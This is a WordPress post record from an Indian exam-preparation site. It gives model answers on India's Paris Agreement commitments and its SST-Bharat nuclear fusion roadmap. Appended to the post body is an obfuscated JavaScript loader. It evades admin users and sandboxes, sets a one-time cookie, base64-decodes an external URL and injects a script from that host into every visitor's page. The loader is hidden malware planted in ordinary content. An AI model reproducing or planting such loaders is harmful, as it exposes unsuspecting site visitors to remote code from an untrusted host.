{"id":2447,"date":"2025-09-24T14:31:07","date_gmt":"2025-09-24T14:31:07","guid":{"rendered":"https:\/\/iasquest.com\/?p=2447"},"modified":"2026-02-11T18:52:14","modified_gmt":"2026-02-11T18:52:14","slug":"paris-agreement-nuclear-fusion","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paris-agreement-nuclear-fusion\/","title":{"rendered":"Paris Agreement &#038; Nuclear fusion"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#ff0000\"><strong>1. &#8220;Review India\u2019s progress on its Paris Agreement commitments. What challenges does it face in balancing development with decarbonisation, and how can carbon markets and bilateral crediting mechanisms support its future NDC targets ahead of COP30?&#8221;<\/strong><strong><\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III:Environmental conservation; Environmental pollution and degradation; Environmental Impact Assessment<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">The Paris Agreement (2015) envisages limiting global temperature rise to well below 2\u00b0C, with efforts towards 1.5\u00b0C. India, as a key signatory, has pledged ambitious climate goals while emphasising the principle of <em>common but differentiated responsibilities<\/em>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>Challenges in Balancing Development and Decarbonisation<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>Rising energy demand necessitating continued coal use for base-load power.<\/li>\n\n\n\n<li><strong>Technology and finance gaps<\/strong> due to limited climate finance from developed nations.<\/li>\n\n\n\n<li>Industrial \u201chard-to-abate\u201d sectors such as steel and cement.<\/li>\n\n\n\n<li><strong>Employment risks<\/strong> in coal-dependent regions and need for a <em>just transition<\/em>.<\/li>\n\n\n\n<li>Equity concerns vis-\u00e0-vis historical emissions.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Progress on Commitments<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li><strong>Emissions Intensity<\/strong>: Reduced by <strong>33% between 2005\u20132019<\/strong>, progressing towards the target of 45% by 2030.<\/li>\n\n\n\n<li><strong>Renewable Energy<\/strong>: Over <strong>50% of installed power capacity<\/strong> from non-fossil sources achieved ahead of schedule.<\/li>\n\n\n\n<li><strong>Carbon Sink<\/strong>: Afforestation drives underway, but creating an additional 2.5\u20133 billion tonnes CO\u2082 equivalent sink by 2030 remains difficult.<\/li>\n\n\n\n<li><strong>Global Leadership<\/strong>: Initiatives like the <strong>International Solar Alliance<\/strong> and <strong>Mission LiFE<\/strong> have enhanced India\u2019s role in global climate diplomacy.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Role of Carbon Markets &amp; Bilateral Crediting<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-8\">\n<li><strong>India Carbon Market (2026)<\/strong>: Mandatory emission-intensity targets across 13 sectors with tradable certificates.<\/li>\n\n\n\n<li><strong>Joint Crediting Mechanisms (JCMs)<\/strong>: Collaboration with Japan and others can mobilise finance, technology, and share emission credits.<\/li>\n\n\n\n<li>Enables flexibility for India to pursue <strong>low-carbon pathways<\/strong> without compromising growth.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">India has demonstrated significant progress on its Paris pledges, yet bridging the finance\u2013technology gap and ensuring energy security remain critical. Strengthened carbon markets and bilateral crediting mechanisms, if effectively leveraged, can balance developmental needs with decarbonisation and help India meet its enhanced NDCs ahead of COP30.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: [2025]<\/strong> <br><strong>Q. Write a review on India\u2019s climate commitments under the Paris Agreement (2015) and mention how these have been further strengthened in COP26 (2021). In this direction, how has the first Nationally Determined Contribution intended by India been updated in 2022? .\u00a0 [15 Marks]<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/india-to-submit-updated-carbon-curbing-targets-around-november\/article70085220.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/india-to-submit-updated-carbon-curbing-targets-around-november\/article70085220.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-11 wp-block-paragraph\" style=\"color:#ff0000\"><strong>2. &#8220;India has unveiled a roadmap for achieving nuclear fusion energy with the proposed SST-Bharat tokamak. Review India\u2019s efforts in fusion research in comparison with global initiatives. What are the opportunities and challenges in making fusion energy commercially viable for India\u2019s long-term energy security?&#8221;<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III:Achievements of Indians in S&amp;T; Indigenisation of technology &amp; development of new technology.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\">Nuclear fusion, the process of fusing light nuclei to release immense energy, is considered the \u201choly grail\u201d of clean energy. India\u2019s roadmap with SST-Bharat aims to achieve a demonstration reactor by 2060, complementing its participation in ITER. While the promise is high, challenges remain in cost, technology, and timelines<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-13\"><a><\/a><strong>Challenges for India<\/strong><\/h3>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Long timelines: India\u2019s target of 2060 is slower compared to global programmes (UK 2040, US firms 2030s).<\/li>\n\n\n\n<li><strong><\/strong>High costs: \u20b925,000 crore estimated for SST-Bharat; economic viability uncertain.<\/li>\n\n\n\n<li>Technology gaps in plasma confinement and sustaining high Q values (ITER aims for Q=10, India still below<\/li>\n\n\n\n<li>Private sector absence in India vs booming private fusion start-ups abroad.<\/li>\n\n\n\n<li>Competing energy priorities \u2014 solar, wind, and nuclear fission expansion.<\/li>\n\n\n\n<li>Global competition may outpace India, reducing strategic leverage.<\/li>\n\n\n\n<li>Risk that commercial fusion power may remain elusive or unaffordable even by mid-century.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading has-black-color has-text-color has-link-color wp-elements-15\"><strong>\u00a0Opportunities for India<\/strong><\/h3>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li>Fusion promises virtually limitless clean energy with minimal radioactive waste.<\/li>\n\n\n\n<li>Enhances energy security by reducing reliance on fossil fuels.<\/li>\n\n\n\n<li>Builds technological autonomy in advanced materials, superconductors, and plasma sciences.<\/li>\n\n\n\n<li>Strategic dividends in defence and space technologies.<\/li>\n\n\n\n<li>Potential to align with global leaders (EU, US, China, Japan) and attract partnerships.<\/li>\n\n\n\n<li>Fusion R&amp;D can strengthen the domestic industrial base through high-tech spin-offs.<\/li>\n\n\n\n<li>Supports India\u2019s net zero by 2070 target and diversification of its nuclear programme.<a><\/a><strong><\/strong><\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>India\u2019s Progress in Fusion Research<\/strong><\/p>\n\n\n\n<ol class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li>SST-1 Tokamak at IPR has produced plasma up to 650 ms, designed for 16 minutes.<\/li>\n\n\n\n<li>Participation in the International Thermonuclear Experimental Reactor (ITER) project in France.<\/li>\n\n\n\n<li>Proposal for SST-Bharat, a fusion\u2013fission hybrid reactor with 130 MW capacity.<\/li>\n\n\n\n<li>Introduction of digital twins for plasma simulations and testing.<\/li>\n\n\n\n<li>Development of superconducting magnet technology and plasma modelling.<\/li>\n\n\n\n<li>Indigenous expertise in high-temperature materials and cryogenics.<\/li>\n\n\n\n<li>Growing academic\u2013scientific collaborations for advanced plasma physics research.<\/li>\n<\/ol>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">India\u2019s cautious yet ambitious roadmap reflects optimism in fusion\u2019s potential but acknowledges current limitations. While commercial viability is uncertain, R&amp;D in fusion will generate strategic technological benefits. To stay competitive, India must scale up funding, involve private industry, and deepen global partnerships.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: [2025]<\/strong> <br><strong>Q. The fusion energy programme in India has steadily evolved over the past few decades. Mention India\u2019s contributions to the international fusion energy project \u2013 International Thermonuclear Experimental Reactor (ITER). What will be the implications of the success of this project for the future of global energy?\u00a0 [10 Marks]<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/ipr-gandhinagar-team-proposes-roadmap-for-indias-fusion-power-plans\/article70083807.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/ipr-gandhinagar-team-proposes-roadmap-for-indias-fusion-power-plans\/article70083807.ece<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>&#8220;Review India\u2019s progress on its Paris Agreement commitments. What challenges does it face in balancing development with decarbonisation, and [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":2448,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1,68,39,22,55,26,12,9],"tags":[],"class_list":["post-2447","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog","category-daily-current-affairs","category-daws","category-environment","category-environment-ecology","category-gs-3","category-mains","category-nanoscience"],"_links":{"self":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2447","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/comments?post=2447"}],"version-history":[{"count":2,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2447\/revisions"}],"predecessor-version":[{"id":2995,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/posts\/2447\/revisions\/2995"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media\/2448"}],"wp:attachment":[{"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/media?parent=2447"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/categories?post=2447"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-json\/wp\/v2\/tags?post=2447"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}